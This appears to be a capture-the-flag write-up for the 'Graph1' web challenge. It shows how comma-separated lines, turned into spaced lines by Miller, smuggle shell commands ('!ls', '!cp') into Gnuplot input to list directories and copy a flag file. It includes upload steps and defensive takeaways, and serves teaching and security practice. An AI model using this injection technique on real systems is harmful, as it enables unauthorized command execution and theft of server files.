team-logo
Published on

graph1

Authors

Challenge overview

Graph1 is a web-based challenge where users can interact with an application that allows uploading CSV files, converting them, and generating graphs. The web interface includes functionalities that process files with Miller (mlr) and generate plots using Gnuplot. However, due to improper security measures, a command injection vulnerability exists, allowing us to execute arbitrary commands and gain unauthorized access.

Application structure

The application allows CSV files to be uploaded through the /data route and graph generation via the /graph route. The Flask web application contains multiple vulnerable functions, including improper input validation for filenames and insecure command execution through Gnuplot.

Analysis

Relevant code snippets
The vulnerable code for file uploads and conversion is in the convert() function:

def convert(filename, contents):
    for line in contents.rstrip('\n').split('\n'):
        if ',' not in line or ' ' in line:
            return False
    with open(filename, 'w') as f:
        f.write(contents)
    out = run(
        ['sandbox.sh', 'mlr', '--icsvlite', '--opprint', '-N', 'cat', filename],
        capture_output=True,
    ).stdout
    with open(filename, 'wb') as f:
        f.write(out)
    return True

The uploaded file is processed by Miller (mlr) using the --opprint option, which transforms the data format, potentially affecting subsequent commands.

Graph rendering
The function gnuplot() used in /graph executes Gnuplot commands:

def gnuplot(in_filename, out_filename, points):
    plot = f"""
set terminal png size 2048,512
set output '{out_filename}'
set nokey
plot '{in_filename}' with {points}
"""
    p = Popen(['sandbox.sh', 'gnuplot'], text=True, stdin=PIPE, stderr=PIPE)
    output = p.communicate(input=plot)[1:]
    return p.returncode, output

The commands are passed to Gnuplot, allowing potential abuse through carefully crafted input files.

Crafting the exploit

Create a Valid CSV File
We first create a valid CSV file named data.csv:

1,2
3,4
5,6

This simple file serves as a valid input for the CSV processing function, which we later use in the Gnuplot commands.

Craft the Gnuplot file for Command Execution
The goal is to execute shell commands through Gnuplot by bypassing the checks. We create a malicious Gnuplot file to list the files in the parent directory and redirect the output to a file:

!ls,-la,..,>,files.txt
set,nokey

The first line is a shell command, using commas instead of spaces to bypass the convert() function's checks for spaces. The second line is a valid Gnuplot command to satisfy Gnuplot syntax.

After processing through mlr --opprint, the malicious file will look like:

!ls -la .. > files.txt
set nokey

This allows us to list the files and directories in the parent directory.

Upload files and trigger the vulnerability

  1. Upload data.csv:
    Use a tool like Burp Suite to change the Content-Type to text/csv and upload data.csv through the /data endpoint.
  2. Upload the Gnuplot file:
    Rename the Gnuplot file to .gnuplot to bypass filename checks, and upload it similarly.
  3. Render the graph:
    Visit the /graph page, select data.csv as the input file, enter a random output filename, and submit the form to generate the graph.
  4. Retrieve the output:
    The command output is saved to files.txt. Visit http://graph.chal.hackthe.vote/getfile/files.txt to retrieve the directory listing.

Retrieve the flag file
From the directory listing, identify the directory containing the flag. Based on the source code we know that admin has such hash: 872bfdd01752ea2641a3e211db6127a7af1d9b44f1602780bbae465ccf4ac25e. Then, create another malicious Gnuplot file to copy the flag to your working directory:

!cp,../872bfdd01752ea2641a3e211db6127a7af1d9b44f1602780bbae465ccf4ac25e/flag1.csv,flag1.csv
set,nokey
Graph Flag file

Flag:flag{contrived_scenario}

Conclusion

This challenge exploits multiple vulnerabilities, including improper filename validation and insecure command execution. By abusing the Gnuplot input and Miller processing, we were able to execute arbitrary commands and retrieve sensitive files from the server.

Key takeaways

  • Input validation: Properly validate and sanitize all user inputs, especially filenames and file contents, to prevent injection attacks.
  • Safe command execution: Avoid executing user-controlled input directly in shell commands. Use libraries that provide secure handling of subprocesses.
  • File permissions: Ensure that sensitive files and directories are not accessible to unprivileged users.